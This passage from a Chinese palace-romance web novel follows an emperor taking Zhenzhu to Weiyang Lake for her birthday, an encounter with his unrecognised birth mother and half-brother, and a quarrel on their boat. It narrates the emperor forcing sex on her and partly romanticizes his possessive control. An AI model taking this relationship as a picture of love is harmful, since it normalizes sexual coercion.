这些时日他一句话也不和她说,与她同房时也并不玩什么其他的她无法接受的花样,媜珠对他的态度反而平静了下来。
“媜媜,你别这样想我。我这次来是想问问你,过几日六月廿四是你的生辰,我想给你庆生,带你微服出宫玩一玩,你愿意和我一起去吗?”
媜珠的生辰快到了。
她是六月廿四的夏季生的,这一天还是民间传说的莲花的生日,在江南、吴越一带颇为流行,被称为“观莲节”。
这一日男女总会倾城而出,游人常常在画舫游船上载酒赏歌舞,为莲花庆生,文人墨客亦争相云集,场面欢腾。
作为国都的长安,亦早有此等风俗节庆。
北地冀州本没有这样的习俗,然而自媜珠出生后也渐渐有了。
媜珠过十五岁生辰时,周奉疆还为她在冀州开了一大片的荷塘,种上了一大片一大片一望无际的荷花。
她是冰清玉洁的荷花一样的女孩儿。
自她失忆后,她变成了赵媜珠,就再也没有过过一次自己的生辰了。
周奉疆上前给她提起她的衣领,遮住她裸露的肌肤。
“媜媜,我们暂且不谈旧日恩怨,我只想给你好好庆生一次,咱们出宫好好玩一天,好么?你要和我吵闹、恨我怨我再刺杀我,等你过完生辰咱们再提,好不好?”
媜珠沉默了许久。
她还当真是吃软不吃硬的。
“……你要带我出宫去哪里玩?”
“未央湖。听说观莲节那日,未央湖上会有画舫云集,游船如织,文人墨客,仕女千金,歌舞升平,万民同庆。我已下令观莲日前后三日不宵禁,可彻夜游乐。我带你出宫玩,给你庆生好不好?我们玩到第二日早晨再回来,好吗?”
媜珠不说话了。
她不说话,不反抗,代表同意。
她还真有点心动了。
周奉疆上前亲吻了下她的额头,
“我愿媜媜百岁无忧,永世荣华。”
他袖中拢着一只珍珠手钏。是周婈珠给了媜珠、而媜珠又丢掉的那一只。
被找回来的时候,那里头装着两只早已被饿死的蛊虫。这证明她的确从未打开过这手钏上的机关,从未想过把这两只蛊虫放出来伤他。
她从未犯下过大错,至少除了不爱他这件事之外,他不能再指责她任何。
也是在自己二十三岁生辰的这一天,在未央湖畔,媜珠遇见了一个她从未想到她会真的见到的人。
第76章
这日清晨,佩芝和宫娥们服侍媜珠梳妆更衣,给她挽了个宫外寻常人家妇人时兴的发髻,又按照媜珠的要求只缀上了一点简单雅致的珠花作为妆饰,她换了件布料质地次上一些的茜裙,用茜草汁浆染出的匀称艳丽的朱红,格外引人惊艳注目,是为了贺她的生辰才特意穿的红裙。
这样裙摆轻曳灿若云霞的罗裙还有一个别称,即石榴裙。
及媜珠更衣毕,左右宫娥皆称赞恭维不已,说娘娘这样的打扮极娇妍动人,哪怕就是在宫外,又怎像是寻常百姓人家的女子呢?
媜珠微笑回她们:“你们若这样说,那我连这茜色裙也不敢穿了,随便披件麻衣出去才好。”
她正和这群小宫女玩笑间,福蓉从承圣殿处过来,端来了一盘赵太后亲手给她捏的寿桃,说是为她庆生的,叫她吃一颗再走。
北地冀州为人庆生贺寿有吃寿桃的习惯,这样的寿桃其实是一种面饼,是用白面加上各种馅料捏出来的,捏成了寿桃形状,再轻轻涂一层桃花花瓣磨出来的细粉着色,蒸出来就成了型。
从前每次媜珠过生辰,赵太后总会亲手给她做一盘这样的寿桃,媜珠顶多自己捏着吃两三颗,剩下的全分给周奉疆,说是叫兄长陪她一起过生辰。反正他也不知道他的生辰是哪一日,那就凑在一起和她一道过。
有件事她或许记不得了,她第一次得到母亲做的寿桃,是在她的周岁生辰上。
不过那时候她还算是个婴儿,当然根本吃不得这种面饼,母亲做了一大碟,其实就是摆在她的周岁礼上好看的罢了。
在她的周岁宴上,周鼎抱着她,拿着一只寿桃逗她去咬,她咬不动,咬了两下后就放弃了,不高兴地嘟起了嘴。
周鼎也不知怎么想的,就逗她,叫她把那一盘寿桃拿去抓了分人,说,媜媜既然吃不动,那就分给吃得动的人吃,媜媜要分给谁?
媜珠在地上爬行,先抓起一个献给母亲。
赵夫人掩唇而笑,父亲也笑,说生恩难报,孩子惦记生母是人之常情,媜媜是个孝顺孩子。
她又抓了第二个,献给了父亲。父亲接过也笑了。
那盘寿桃一共有六个,分给父母两个后还有四个。
后来媜珠又按照父母的暗示与要求,把剩下四个中的三个分给了她的姐姐周婈珠和两位庶兄。
还剩下最后一个,父母又逗她说该给谁?
她死死抱在怀里不撒手,谁来逗她她也不给了。
父亲哈哈大笑,说咱们都是坏人,明明是这孩子的生辰,给她过周岁,咱们竟都抢着分她的寿桃,还有最后一个也还要分出去吗?还是留给她自己吧。
她攥着这只寿桃,直到自己的周岁宴毕后,赵夫人抱着她回到房中,她将这枚捏烂了的寿桃分给了周奉疆。
这是她一直想留给他的。
一个才刚周岁的孩子,能懂得这么多么?
这样的故事,在媜珠年幼时实在发生过太多次,幼年的孩子总是固执的、会重复去做自己认为对的那一件事。
她得到什么宝贝都想着留一份给兄长,之前得到父母赏赐的两颗荔枝时是这样的,后来自己过周岁生日的寿桃,她还是这样的。
她曾经无数次地站在他身边、想着他、念着他,而只要有一次她没有选择他,他就会暴怒不满。
媜珠叫福蓉回去告诉太后,说她谢过母亲的恩情。
在她失忆的几年里,她的生辰倒是没再吃过母亲做的寿桃面饼了。
媜珠捏着一只寿桃咬了几口,还是记忆中那样甜蜜的味道,她喜甜食,每次母亲给她做的寿桃里总会多放些糖粉、或是多涂一层蜂蜜。
她忽然想起,在之前几年里,每年的这一日,周奉疆其实总还会找各种理由送她什么东西,都是些格外昂贵奢靡的礼物。
现在想来,原来他当时就是在用这种方式为她庆生。
朝会毕,周奉疆便来到椒房殿接媜珠出宫去。
他也换了件墨绿的圆领长袍,布料并不华贵,是长安城内寻常布庄里都能买到的料子,只是套在他身上更显得沉闷了。
他上前牵起媜珠的手,媜珠也没有抗拒什么,就这样任由他牵着她往外走去,她摇曳的朱色裙裳的裙摆被微风吹起,轻轻蹭在他的衣袍上。
周奉疆手中握着一把为她遮蔽日光的竹骨绸伞,将伞面倾泻在她头顶,为她撑起一片阴凉。
她着朱红之裙,是花期正盛、美到摄人心魄的一朵娇妍玫瑰,尽态极妍,蛾眉螓首,有嫦娥之貌,洛神之质,连她的呼吸都是旖旎动人的。
而她一侧身量颀伟的男子一身墨绿长袍,则被她衬得更像是一棵粗壮的、沉默寡言的老树,这老树沧桑孤寂的树干上用自己的养分供养出了一朵柔嫩的娇花。
朱红墨绿,和如琴瑟,以柔制刚,这场景在身后的宫人们看来,俨然是一对分为相衬的壁人。
这次周奉疆有意讨媜珠欢心,媜珠并未拒绝他的好意。
也许是因为今天是她的生辰,她犯不上在这样的日子里为他生气;也许是因为她也累了,只要他不对着她发疯,她也没有力气再去纠结往事。
马车过了宫门驶向宫城之外,很快周遭的动静嘈杂了起来,依稀可觉离长安城内的坊市也越来越近了。
约摸一个时辰后,马车在长安城东南隅处停下,此处即临近长安最有名的湖泊,未央湖,也是长安最负盛名的一景,从前曾有无数文人墨客在此相会宴饮,留下诗词文章。
媜珠透过车帘的一角悄悄向外望去,见到今日城内街道之间都分为喧闹,来来往往年轻男女众多,还有稍稍富裕些的人家拖家带口出来游玩的。
远比媜珠想象中的还要热闹。
媜珠有些不解地轻声问了一句:“这观莲节本是江南、吴越一带才时兴的节令,如今长安也有这样多的人过吗?”
陪侍在侧的倪常善立刻借机恭维道:
“娘娘……娘娘有所不知,前楚时君臣昏庸无道、暴虐荒淫、宦官擅权,长安洛阳两京本就繁盛,因前楚的代宗皇帝好色骄淫,常使宦官为花鸟使,在城中街市上见貌美女子则掳之入宫,充为后宫,连是否婚配也不过问,更不和女子家人知会半声。后来这些狗宦官们更加胆大妄为,还会时常假借皇帝名义强掳女子、将其私蓄为奴或是偷卖为妓。
连前楚国子监一位博士家的一个女儿都被当街公然掳走过的,后来这位博士欲索女归家,天子竟称不知有此事,还把这博士给贬出洛阳了!
后来长安洛阳两京上下,上至官宦下至百姓人家皆惶惶不可终日,别说是观莲节,就是除夕、元宵、中秋这样的大节日,也不准家里妻女外出,城中常年萧索,人人自危,那时候哪还谈过什么节令?其后又兼战乱,又不必多说了……”
他一脸豪壮地对着皇帝连连拱手,又道:
“今改朝换代,正是新朝圣明君子,太平盛世,哪还能闻这样丧尽天良的丑事?陛下只钟爱娘娘一人……还有这城内一派晏然安宁,作奸犯科之徒不敢擅动半下,百姓官宦人家趁着好容易得来的天下大治、尧风舜雨,当然喜欢多出来热闹热闹了!如今大小的节令在长安城都能大办一场,年轻男女倾城而出,极尽欢乐。
哦更兼一桩,为贺娘娘芳寿千秋,陛下准观莲节前后三日不设宵禁,年轻男女们更是喜不自胜,要趁机多出来凑凑热闹的。”
媜珠被他长篇大段地吵得有些头疼。
不过她听懂倪常善的意思了。
以前的皇帝好色,叫人出去到处抢女人,百姓们害怕,所以常年闭门不出。现在的皇帝在旁人看来不好色,他也不出去抢女人,所以百姓高兴,凡遇大小节令都要热闹操办一场。
现在的皇帝不好色、不抢女人……她勾着嘴角无声冷笑了一下。
周奉疆佯装薄怒呵斥了倪常善一声:
“你娘娘的千秋,啰嗦这些有的没的吵了娘娘做什么?”
未央湖畔各色摊贩如云,你来我往,摩肩擦踵地卖力吆喝着各自兜售的货物。
媜珠在周奉疆的搀扶下下了马车,并不急着先登游船游湖赏莲,反而饶有兴致地在这些摊贩游人之间闲逛了起来。
她看向所有东西的眼神都是惊奇的、甚至还是带着一点懵懂的,因为她几乎从未有过自己在外买过东西的经历。
身为冀州周家金枝玉叶一样的千金,她从小到大所用的一切皆是家中添置好了送来给她的,而她也几乎不被允许擅自外出半步,更不可能把她放在外面乱跑。
她去过的地方很少,她对于外面百姓人家的衣食住行了解得更是堪称没有。所以她对什么都好奇。
周奉疆撑着竹骨伞默默地陪在她身后,只要发现她视线落在一件东西上超过三个呼吸的时间,他就主动为她买下,然后叫倪常善打包收好。
媜珠身上没带钱,他为她买东西,她也没说不要。
媜珠面上虽覆了一层薄纱略作遮掩,然她貌有殊色,即便在这等人潮如织之处亦是引人注目的,有些浮浪青年频频偷望向她,见她衣裙似乎并非十分显贵,心猿意马地本欲上前攀谈撩拨,却又实在畏惧她身旁那为她撑伞的男子的气场,只得讪讪作罢,唯有多望上美人两眼以解心馋。
而媜珠自己对旁人看向她的神色倒是毫不知情的。她根本没有注意到他们半下。
周奉疆虽为这些人生了恼怒之意,一心想带着媜珠早点上游船歇下,但见媜珠难得有高兴的时候,他还是只得顾着媜珠,将这些怒意压下。
他们沿着湖畔一路逛下去,不多时随侍在侧的倪常善手中的包袱就又满了,琳琅满目装着的是媜珠欢喜的物什。
倪常善遂又要挤过熙熙攘攘的人群,再把这些东西送回马车里去。
这一路的确还不短。
媜珠瞥了他一眼:“为我过这个生辰,倒是也劳累你的腿脚了,你是上年纪的人了,我心中也过意不去。”
倪常善赶紧口称不敢。
周奉疆看了看媜珠,从倪常善手中接过那个大包袱,把自己手里的伞交给他:“你在这照顾好夫人,我马上就回来。”
倪常善急得满头大汗直说不可,媜珠的脚步已经往前走了:
“好了我们去前面看看吧,你瞧那还有卖鱼的,这鱼儿是给人用来在未央湖里放生的吗?”
周奉疆走后不久,当媜珠驻足在那卖鱼的摊贩前时,一个神容清俊文雅的青年男子也停在了媜珠的面前:
“不知如何称呼女郎?该叫您夫人还是叫您一声小娘子?”
这话是试探她是否出嫁。
若她已为人妇,大部分要脸的男人也就无趣而返了;若她说她尚未出嫁,那年轻男女间若是有意,也可试探着生出一段姻缘来。
那青年一身碧蓝长袍,看着也是二十一二岁的年纪,同媜珠年龄相仿,举手投足间格外文质彬彬,即便是被他无故攀谈,媜珠也不觉被冒犯。
仔细想来,这还是她人生中第一次被陌生的男人上前搭讪。
她莞尔一笑:“您就叫我一声女郎即可。”
她不回答他的问题。
蓝袍青年的神色讪讪了一瞬,言辞依旧礼数周全:“女郎贵安,我见女郎在这鱼贩摊前停驻许久,女郎可是有买鱼放生行善之意?”
媜珠轻声道:“今日是我生辰,我等会要乘画舫去未央湖上游湖,也有意随手买两条鱼放生,不敢自诩慈悲佛心,就当应个过生辰的景,积个小善了。”
蓝袍青年立刻向她拱手施了一礼:“原来今日还正巧是女郎的芳寿,允我且先敬祝女郎宝婺腾辉、芳华永驻。贸然攀谈女郎是在下失礼,只是在下有一言愿告知女郎。这鱼贩所兜售的活鱼乃山林小溪间所捉,此鱼习性只能活在极浅的溪流中觅食,未央湖湖水略深,若将此鱼投入湖中,虽为放生,实则□□也不能存活。女郎若欲购鱼,宜选鲢鱼、鳙鱼。”
在这蓝袍青年向媜珠款款道来的时候,倪常善身上已为他的莽撞冒出了一层的冷汗。
——当真是活腻了。
也敢调戏到皇帝的女人身上。
他那眼珠子到处乱转就差直勾勾地盯到皇后的脸上了,在这啰里啰嗦一大堆,不过是项庄舞剑,意在沛公罢了!
他倒是好心,怎么光来提醒皇后一个人?这鱼摊前来来往往走了多少人,他有一个个上去说一声吗?
还敢对着皇后卖弄那点文采,说什么宝婺腾辉、芳华永驻。
呸。
他被皇帝盛怒之下砍死了不打紧,倒是连累他这把老骨头若是被皇帝迁怒,真是呜呼哀哉。
在那蓝袍青年说话时,媜珠就这样静静地看着他。
忽然间,她的心脏剧烈颤抖了一下。
——这个男人的眉眼生得很像周奉疆。
不只是眉眼相像……她迷迷糊糊间说不出来的许多地方,都透着一种诡异的相像感。
当然,他身上没有周奉疆那种的凛冽威意,反而柔和就像三月春日里的一枝柳条。
媜珠开口问他:“我听您的口音,您倒像是江南人呢。”
那蓝袍青年正欲作答,一个五十岁上下的妇人便挤了过来:
“小娘子确实好耳力!我们一家是去年冬日才从扬州迁来的,原为我这长子在长安京中有了个薄官儿,所以我们一家也就过来了。这是我儿秉清,如今也是礼部鸿胪寺下的一个主簿了,那也是从七品上的官儿。这长安是富贵,处处王侯将相,我们谢家虽说不起眼,可我儿尚年轻,今年也才二十二岁,也还未婚配,凭自己本事谋了这个差事也不算低了,往后如何升还难说呢!”
扬州。谢家。二十二岁。比周奉疆小六七岁。
媜珠心头又是一阵大跳,她有些惊愕地望向面前妇人的那张脸,只听到蓝袍青年有些羞臊地垂下头去和她介绍道:
“女郎,这位是我母亲郑夫人。”
那位郑夫人上前热络地握住媜珠的手:“小娘子叫我郑伯娘就好了。今日观莲节因缘和小娘子相会,还不知小娘子贵姓?也不知我这话问得冒昧否,小娘子夫家何处姓氏,说不定也与我是一家姓呢。”
如果媜珠头脑尚且清醒的话,她当然能听得出来这母子二人是有意打探她的情况,若是见她条件合适,很大概率或许还要和她攀谈婚事,年轻男人见她对她有意,而他母亲似乎也很喜欢她。
她应该对此做出反应,比如说,告诉他们自己已经嫁人了,委婉地拒绝他们。
但现在媜珠整个人都傻了。
她只能呆愣地回了一句,说自己姓周,也未提起她的夫家。
这母子二人露出些笑意,郑夫人又道:
“我们谢家初到长安,也未及交往什么亲朋,这观莲节虽出来凑个热闹,可也无人相伴。我这粗鄙妇人见了小娘子就欢喜得紧,小娘子今日可是一人出来?可否请小娘子和我们作伴且先闲话闲话?我们母子在那未央湖上也租了游船,哎呦,我还备及了许多我们江南扬州那块的点心吃食,还想请小娘子尝尝呢。”
媜珠愣愣地不知如何开口,那郑夫人嘴里的话还不停歇,
“周小娘子可别嫌弃我这老妇唐突,我家里还有两个姑娘,也是能和小娘子玩到一块的年纪,小娘子若是今日不便,过两日到我家中做客可好?都是自己家的宅子,我那两个姑娘儿各有自己的院子,里头也宽敞,你们女孩儿家归女孩儿家玩,不打紧的。”
这话是在暗示媜珠,说他们谢家虽然是个小官之家,但是有钱阔绰,家里刚到长安就买了宅子,还是不小的宅子,够每个姑娘都分一个大院子的。
媜珠看向谢秉清,谢秉清也有些局促地看着她,眼底流转着几分期盼。
抛开周身的气场来说,那是一张和周奉疆有三四分相像的面容。
媜珠深深呼出一口气:“夫人好言相邀,妾心中自是感激不尽……”
“——媜媜,你过来。”
第77章
媜珠今日出宫本就为了低调而刻意不曾盛妆,虽则为了自己庆生而穿了一身红裙,但裙裳的布料她选的也是寻常缎料,普通百姓人家的女孩儿也能买得起的。
再加上为了不引人注目,她还在面上蒙了一层薄纱遮掩自己。
然即便如此,在人群之中她依然是那样光彩夺目的存在。
即便今日至未央湖边游乐的也不乏许多显贵女子、官宦千金,旁人的目光还是会忍不住为她停驻,悄悄打量着她的美丽。
这样的女人,哪怕不知道她的家世、年龄、不知道她是否婚配、她性情何如,也多的是男人想要上前搭话闲聊的。
哪怕她已经嫁人又怎样呢?
能和这样的美人说上两句闲话,能得到美人的目光有片刻停留在自己身上,那都是这辈子赚到了。
若是他们知道她还是贵不可攀的当朝皇后、来日的帝母……这些人本该连看都不配看到她的!
周奉疆心中如是恼恨地想到。
媜珠对这些似乎分毫不曾察觉,正微笑着和面前的一对母子交谈。
郑夫人倒是次要的,要紧的是那站在她一旁的蓝袍青年。
落在外人眼中,自然会下意识地以为他们才是一对新婚的年轻夫妻,至少也是一对有情的恋人。
她的姝色,衬得那站到她身旁的男人也格外贵气了几分,不像是个从扬州来京城赴任的小官,倒像是个自幼锦衣玉食、钟鸣鼎食之族出来的翩翩公子了。
也许他们的气度才是相称的,女子柔婉动人,男人温文儒雅,只是站在一起就叫人觉得赏心悦目。
周奉疆立在不远处无声地看了他们许久了。
——面对别的男人的搭讪攀谈,她竟然连一句自己已为人妇已有夫家都说不出。
直到郑夫人都出言邀请她去谢家宅中做客,她还一副不准备拒绝的样子,周奉疆才彻底忍无可忍地打断了他们。
听到有人唤她,媜珠闻声望去,见是周奉疆脸色稍沉地在不远处看着他们。
她颇有些深意地对他莞尔一笑,依言向他身边走去。
看着她一步步向自己走来,周奉疆的神色倒是温和了许多,他一把握住媜珠的手:
“咱们的游船到了,现下日头毒晒,上船歇一歇可好?船上的风光湖景也不比这里差,还备了你爱吃的几样吃食给你解闷。”
媜珠状似十分乖巧地点头答应了:“好。”
他一出现,谢家母子二人即刻便看出他们才是一对夫妻了,对媜珠的那点心思当即也死了个一干二净。
心下再一沉吟,这女子如此美貌,男子伟岸挺拔,气度非同凡人,有王侯之相,想来他夫妻二人实则非富即贵,今日即便布衣出游,也不过是不想惹人注目,少些麻烦罢了。
再观自己谢家,不过是个外地来的七八品小吏之家,纵使这样的美人看得起他们,他们也无福匹配,方才见她而心动、又自作多情地过去攀谈,不过是痴心妄想而已。
谢秉清面上很快堆起了温和得体的笑意,朝着周奉疆拱了拱手:“在下扬州人士,去岁才刚举家搬来长安。今日因缘得会足下与贵夫人,实乃幸事。听闻今日恰逢夫人的千秋,家母略备了几样我们扬州时兴的糕点吃食,想献于夫人小作祝贺,还请足下与夫人赏脸笑纳。”
他是会做人的,发现自己可能无意间惹上了什么大人物时,他旋即就做小伏低向对方暗暗赔礼道歉,即便对方不领这个人情,也不至于太将他记恨上。
——尤其是他连自己的姓氏名讳官职也没有主动吐露,万一真被记恨上了,这长安城这么大,谁知道他是谁。
郑夫人脑子很快也转过了弯来,连声附和起了自己的儿子:
“我儿见贵夫人想买那鱼贩的鱼放生的,想着好心告诉贵夫人一声,这鱼儿放进未央湖里也养不活,不如放些别的鲢鱼啊鳙鱼啊才好,也是正巧知道今日还是贵夫人的寿辰呢!
哦哦哦,哎呦,今儿趁着观莲节出来热闹热闹,我做了那莲花酥、桂花糕的,都是我们扬州的吃食,还有我从扬州带来的桂花蜜呢,贵夫人若不嫌弃,赏脸尝一尝才好。”
周奉疆顿了顿,牵起媜珠的手带着她转身就走。
他吩咐了倪常善一声:“把那鱼摊的鱼全都买下来,拿到城外去馈赏穷乏之家,给你夫人积德。”
倪常善当即应下。
他这毫不掩饰的冷淡与厌烦的态度,叫谢家母子二人面上又尴尬又过不去,只得讪讪地看着他们离去的背影,好半晌才缓过来。
郑夫人揪着手中的帕子悻悻道:“也不知他二人是个什么来头,怎的这样的做派!秉清,清儿,这……咱们母子是不是遇上什么要紧的人物了,你也说这长安城里十之八九非富即贵的,会不会给你添了什么麻烦?哎呦,我费了好大力气打点、花了多少金银才为你捐出的官儿。”
说到最后一句时,她暗暗压低了声音。
佳人已去,谢秉清仍有些痴痴地望着那抹朱裙离去的丽影:“母亲,母亲您多虑了,无事。——罢了,咱们也登船去游湖吧?”
郑夫人见自己儿子这样胸有成竹的模样,心底的不安也平复了不少,很快她脸上也扬起了笑意,仿佛刚才之事只是个微不足道的小插曲。
“好,这日头是够晒的,咱们登船去。也不知你弟弟和两个妹妹去哪野去了,把他们给寻回来……”
长子秉清是她最疼爱的孩子,也是她最器重的,十箱黄金里有五箱金子她都花在他身上了,她给他层层打点换来上司提携举荐,叫他能到长安鸿胪寺里做了个官儿,又斥巨资给他买了宅子,以后那宅子也是留给秉清娶妻用的。
现在她日盼夜盼,盼的就是秉清能在长安娶一个对他仕途有些助力的妻室。
不过是可怜他们谢家在长安尚无根基,也不识得什么官宦人家的千金,所以每逢长安大小节令,她都叫秉清好生打扮一番,带着秉清在外头逛一逛,兴许也碰到什么合机缘的女孩儿。
这小半年来秉清一贯固执,哪怕她把他带出来了,他也从不肯寻机去和别的姑娘们攀谈,只这一日见了那女郎才有几分动容之色。
好不容易瞧见自己儿子遇见个有些喜欢的姑娘,她怕他不会说话,紧赶慢赶地赶过去和那女郎叙话,给自己儿子创造机缘,那女郎谈吐间眼看也是好人家懂事的姑娘,偏生不凑巧却嫁了人了!
呜呼哀哉。
郑夫人那叫一个失望。
只是,媜珠能看得出谢秉清和周奉疆有几分相像,而他们母子似乎倒还没来得及注意到这一点。
于郑夫人而言,那是她二十多年前就已经抛弃了的一个孩子,即便她心中对他还存有一点零星的模糊影子,可当年她抛弃他时,他才六岁,而且他瘦骨嶙峋,根本看不出几分像人的样子了。
她如何能推测出这孩子二十七八岁时的模样和长相呢?
至于谢秉清自己,更是不可能会往这方面去想了。毕竟当周奉疆出现时,他一心都陷入了搭讪旁人妻子的尴尬与窘迫中,连看也没敢细看那人的长相。
媜珠看得出来周奉疆心情一下变得很不高兴。
他本就穿了一身墨绿,这颜色就容易显得人沉闷,再加上他心里不痛快,这下就更加郁气凝结了。
不过,媜珠眼下并不在乎,也不想去搭理他。
她兴致盎然地登上停泊在未央湖畔的那艘精致画舫,登船时她还注意到这画舫上雕刻着许多兔纹的装饰。
而她正好就是属兔的。
想来这艘画舫的确是他命人精心布置过的,船舱内熏着清雅的荔枝香,纱帐和软垫的颜色也是她喜欢的,煮着她夏日爱喝的酸梅汤,还早已搁置了几方冰鉴消暑。
一入画舫内,她心情更好,越发有了几分好好过个生辰的兴致了。
媜珠自顾自地在画舫船舱内的窗边坐下,趴在窗沿上欣赏着外头的湖景与莲花,阵阵莲花幽香飘来,叫她整个人都惬意得懒散了下来。
周奉疆也是识眼色的。
至少他知道今天是她的生辰,没有在她过生辰时和她闹。
游船上备着糕点和零嘴,周奉疆端到媜珠面前去,媜珠只顾着欣赏湖景,头也不回地摇了摇头:
“这些在宫里都吃腻了,我不吃。方才我买的东西呢?我买的鲜菱角,莲蓬,荷叶糖,金桔水团,还有两块千金碎香饼呢?拿给我。”
娘娘有吩咐,他不敢不应,又一一去给她取来,又给她倒了杯冰镇过的酸梅汤来,刚想叮嘱媜珠少喝些冰物,媜珠不耐烦地又道:
“船里的点心我都嫌吃腻了,难道还会喝这喝腻了的酸梅汤吗?这东西我在宫里就不会吃了?我要吃刚才看见有人卖的漉梨水。”
未央湖上也有专门在湖上兜售吃食的船只,周奉疆命人将他们的画舫靠过去,给媜珠去买漉梨水喝。
媜珠还算快活,叫周奉疆替她打赏了在湖上乘船歌舞的伶人,请她们给她唱了一曲她喜欢的《猗兰词》,她倚在窗沿边,漫不经心地吃着宫外时兴的吃食,啜饮两口漉梨水,借着满湖莲叶荷花静观醉人歌舞。
偶尔她还会指使周奉疆替她做些事情,给她剥点菱角或是莲子。
午间的这一餐做的更是精致,也都是合媜珠口味的。
厨娘们煲了一锅极鲜的虾蟹,媜珠最馋这个,然她已经好久没吃过虾蟹了。
因看她的眼神等得焦急,周奉疆也不管刚出锅的虾蟹如何烫手,若无其事地取来给她剥开,稍凉了些才会送到她面前的小碟子里。
媜珠这一顿也是放开了吃,将蟹肉虾肉来者不拒一般朝自己口中塞去。
她喜食虾蟹,但她不能接受自己亲手剥虾剥蟹后指尖残存的腥气,也不能接受旁人为她剥了虾蟹、用手捏着虾仁蟹肉送给她吃。
这两点她心底都嫌弃有些不干净。
唯独她能接受周奉疆为她做这些。
也许这些虾兵蟹将就是舍命为君王,生在这世上就是想法子替他来讨好她的。
第78章
午膳毕,媜珠懒懒地漱了口,吃了一盏冰乳酪,叫人拉起了画舫船舱内的纱帐,她靠在美人榻上午睡了下去。
这一觉睡得当真舒服,游船随着水波轻摇,晃着她进入香甜的美梦,又伴着幽幽莲香,人的一生里能有多少个这样值得留念的美好良辰?
她入了梦乡,而周奉疆就在一旁默默地凝视着她的睡颜。
二十三年前的这个夏日,就是这个时候,这样一个宁谧的午后,赵夫人生下了她。
赵夫人生产时痛苦哀嚎着,他这个养子也跟着悬心不安,直到媜珠来到这世上,她们母女平安,他也跟着舒了一口气。
在赵夫人生产时他便立誓,养母对他有再造之恩,若养母生男,那么他余生将会竭尽自己所有去辅佐养母所生的嫡子,为这个弟弟尽忠。
若养母生女,那他则会用毕生心血去保护这个妹妹,愿妹妹一生平安荣华,无忧无虑。
当年那个生出来抱在怀里只有一小团的小女婴,怎么眨眼间就出落得这般模样了呢?
他实在无法舍弃她,他在她身上花了二十三年的心血,他人生中的二十三年都是在围着她打转的,他怎么能放弃得到她这样同等的爱?
该如何形容这种她是他人生全部的感觉呢?
也许他对自己并不了解,但关于她的一切,他永生难忘。
待媜珠再睁眼时便是黄昏时分,暑意消退了大半,而湖面上歌舞之声不停,还有许多人放起了莲花灯许愿,几百盏莲花灯在湖波上轻摇慢晃,这场面如梦似幻,美如天上人间。
媜珠又有要求了:“我也要放莲花灯,去给我买一盏来。”
倪常善躬着身答道:“娘娘,那些莲花灯皆是陛下为您放的,都是您的。是陛下早前便去宝莲寺给娘娘求来的,每盏莲花灯内皆有陛下亲自抄写的一句经文,又送给宝莲寺的高僧大师们开过光的。陛下为娘娘祈祐永世顺遂、百年安康。”
媜珠愣住了。
待到晚上,这湖面上越发歌舞升平起来,每艘画舫游船都有灯笼装饰起来,许多歌女舞姬们在游船上翩翩起舞,轻吟着男欢女爱的暧昧曲乐,湖面上是一片靡靡艳景,惹人沉醉。
媜珠也凝神听了许久,连晚膳都没几分心思吃了。
这个生辰她过得的确高兴,新奇,不算虚度了此日。
而周奉疆也格外克制住了自己的脾气,一整日没有对媜珠多说一句不该说的话,就负责尽心尽力地伺候她,满足她的一切要求。
及至夜深,媜珠在画舫上更衣洗漱过,这一夜就在船上睡下。
周奉疆在她身侧躺下,两人半夜无话。
他的克制守到了她生辰结束。
等到午夜子时已过,他忽然在榻上窸窸窣窣地解了衣衫,覆到了媜珠身上亲吻起她来。
媜珠平静地躺在榻上承受着。
周奉疆一边啃咬着她的脖颈一边动作着,最后他实在忍无可忍时,附到她耳边咬牙切齿地问她:
“你喜欢他?你为什么要和他说话?他问你有没有出嫁,你为什么一而再再而三的不回答?”
媜珠朱唇微张,破碎地吐息,断断续续地轻声回答他:
“妾不知谢郎君问的是哪个她?赵媜珠被旁人安排着嫁了人,但周媜珠没嫁过。”
周奉疆一把掐住她细细的腰肢,眼神狠厉:
“周媜珠,你的教养呢!你父母昔日就是这样教养你的,让你在外头和不三不四的浮浪男子随意攀谈闲话!你就非要这样……”
非要这样什么?后头更难听的话,他没说出来。
媜珠被他折磨得抽气了一声,她咬了咬唇回道:
“我的教养?我的教养至少也比你强!你能见生母、兄弟而不认,目无血亲,我却还能和家里的婆婆、小叔子客客气气地说两句话呢。论教养,你还不如我!这也不怪你,谁让郑夫人看不起你,也不认你,自然没人教养你。”
周奉疆在黑暗中盯着她的容颜,深深呼出一口气。
又是这样,他才刚刚给她过完一个高高兴兴的生辰,结果两人之间又闹成这样。
他不再言语,捂住了媜珠的唇,强硬地做完了两三次。
云雨止歇,媜珠借着烛灯自顾自地坐在床尾穿起衣裳。
周奉疆平复着呼吸把她抱进怀里:
“不提那些了,好不好?我们在榻上时不是很好的吗?你的身体也喜欢我的。媜媜,回宫之后我解了你的禁足,我们还像从前一样平平静静地过日子。孩子的事我也不强求,你爱不爱我我也不强求,我们就这样安静地把这一生过完,好不好?”
媜珠拂开他的手,起身离他后退了几步。
“我有时和你在一起真的觉得很累,我应付不了你所有的脾气,你从来没有尊重过我。我有错时,我从不羞于认错,但你不是,你永远不觉得你有错。
你指责我在张道恭一事上的愚蠢,我认了,你指责我在对待我兄弟姐妹之事上的愚蠢,我有错,我也都认了。现在的我听了兄长的教诲,我不再念着和张道恭的旧情了,我对他视若敝履,我也不再傻傻地为我的兄弟姐妹和周家族人们付出了,我将他们视为寻常过路人,你要杀穆王、圈禁琅琊公主,我都没多说一个字。
那你呢?我所指责的你对我的伤害与侮辱,周奉疆,你细数一数,你究竟为哪一件事和我道过歉?你的姿态摆的很低,你觉得你很爱我是不是?你可以为我做一切事情,但你就是不会和我道歉。你可以给我荣华富贵、可以给我祈福制莲花灯,可以给我剥虾剥蟹,但你就是不会道歉,你就是从没觉得你有过错!
——要不然你就像对琅琊公主那样把我软禁在宫外,要么你像对待穆王妃那样把我关进我父亲的皇陵里,让我了结残生,好不好?”
周奉疆拧眉看着她:“我何错之有?我为何要向你道歉?媜珠,是你一直在胡搅蛮缠,是你一直活在我的庇佑之下才有今日,是你应该对我感恩戴德、对我认错道歉,我何错之有?”
湖面上忽然刮起了一阵大风,继而又有暴雨如注,似乎一切都只发生在这片刻的功夫里。
这艘画舫也剧烈地摇晃起来,几乎有种要稳不住的架势。
但沉浸于怒火中的二人并未在意过这些。
媜珠道:“从我还没失忆开始,你在床榻上对我就多有强迫凌辱,和你在一起,我连说不的权力也没有,只要我不愿意给你泄欲,你就用尽各种手段强迫我。”
